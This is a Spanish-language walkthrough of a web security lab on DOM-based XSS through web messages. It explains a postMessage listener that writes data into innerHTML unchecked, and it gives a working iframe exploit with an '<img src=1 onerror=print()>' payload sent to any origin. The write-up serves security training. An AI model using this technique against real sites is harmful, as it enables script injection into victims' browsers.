DOM XSS using web messages
![[20251007012335.png]](/assets/20251007012335.Djkj2YBC.png)
En el sitio web encontramos el siguiente contenido:
![[20251007012513.png]](/assets/20251007012513.CVg1But3.png)
En el código fuente html encontraremos un apartado de código js
<script>
window.addEventListener('message', function(e) {
document.getElementById('ads').innerHTML = e.data;
})
</script>El código javascript :
Escucha mensajes:
window.addEventListener('message', ...)- La ventana queda "escuchando" cualquier mensaje que le llegue
Procesa el mensaje:
function(e)- Cuando recibe un mensaje, ejecuta esta función
econtiene los datos del mensaje
Inserta contenido SIN validar:
document.getElementById('ads').innerHTML = e.data- Busca un elemento con id "ads"
- Toma el contenido del mensaje (
e.data) - Lo inserta DIRECTAMENTE como HTML usando
innerHTML
Explotación
Paso 1: Carga el sitio vulnerable
src="http://0a5100bd036d91ff80638ae400690066.web-security-academy.net/"- Carga la aplicación vulnerable dentro del iframe
Paso 2: Espera a que cargue
onload="..."- El evento
onloadse dispara CUANDO el iframe termina de cargar
Paso 3: Envía el payload malicioso
this.contentWindow.postMessage('<img src=1 onerror=print()>','*')this.contentWindow: Accede a la ventana del iframe (el sitio vulnerable)postMessage(): Envía un mensaje'<img src=1 onerror=print()>': El payload XSS'*': Permite enviar a cualquier origen (sin restricciones)
<img src=1 onerror=print()><img>: Crea elemento imagensrc=1: Intenta cargar imagen inexistente (genera ERROR)onerror=print(): Cuando falla la carga, EJECUTAprint()
<iframe
src="http://0a5100bd036d91ff80638ae400690066.web-security-academy.net/"
onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">
</iframe>Cuando se carga el iframe, el método postMessage() envía un mensaje web a la página de inicio. El detector de eventos, cuyo objetivo es mostrar anuncios, toma el contenido del mensaje web y lo inserta en el div con el ID ads. Sin embargo, en este caso inserta nuestra etiqueta img, que contiene un atributo src no válido. Esto genera un error, lo que hace que el controlador de eventos onerror ejecute nuestra carga útil.
Una vez construida nuestro iframe malicioso, podreceremos a enviar a la victima
![[20251007015314.png]](/assets/20251007015314.B4DwriSE.png)